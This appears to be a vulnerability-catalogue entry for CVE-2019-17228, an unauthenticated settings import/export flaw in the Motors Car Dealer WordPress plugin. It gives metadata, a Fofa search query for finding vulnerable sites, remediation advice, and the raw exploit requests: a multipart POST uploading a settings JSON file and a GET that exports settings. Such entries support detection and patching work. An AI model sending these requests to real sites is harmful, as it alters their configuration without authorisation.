| Title | Motors Car Dealer & Classified Ads <= 1.4.0 - Unauthenticated settings import/export |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Unauthenticated attackers can modify WordPress plugin settings through import/export functionality, potentially altering site configuration and behavior to facilitate further attacks. |
| Remediation | Update the Motors Car Dealer & Classified Ads plugin to version 1.4.1 or later. |
| CVSS Score | 6.5 |
| EPSS Score | 0.02088 |
| CVE ID | CVE-2019-17228 |
| CWE ID | CWE-345 |
| Fofa Query | body="wp-content/plugins/motors-car-dealership-classified-listings/" && body="wp-" |
| Tags | cve cve2019 wp wordpress wp-plugin motors-car-dealership-classified-listings intrusive vkev vuln |
includes/options.php in the motors-car-dealership-classified-listings (aka Motors - Car Dealer & Classified Ads) plugin through 1.4.0 for WordPress allows unauthenticated options changes.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Content-Length: 883
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept-Encoding: gzip
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="import_settings"; filename="pgzLcIxq.json"
Content-Type: application/json
[{"single_name":"38FXXjTdzrEojkICkEvg83A5epJ","plural_name":"38FXXjTdzrEojkICkEvg83A5epJ","slug":"38FXXjTdzrEojkICkEvg83A5epJ","font":"fa fa-angle-double-left","numeric":"","number_field_affix":"1","slider":"","use_on_car_listing_page":"","use_on_car_archive_listing_page":"","use_on_single_car_page":"","use_on_car_filter":"","use_on_tabs":"","use_on_car_modern_filter":"","use_on_car_modern_filter_view_images":"","use_on_car_filter_links":"","use_in_footer_search":"","use_on_directory_filter_title":"","use_on_single_listing_page":"","listing_taxonomy_parent":"","listing_rows_numbers_enable":"","listing_rows_numbers":"","enable_checkbox_button":"","show_in_admin_column":""}]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /?export_settings=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17228.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17228.pcap
N/AN/A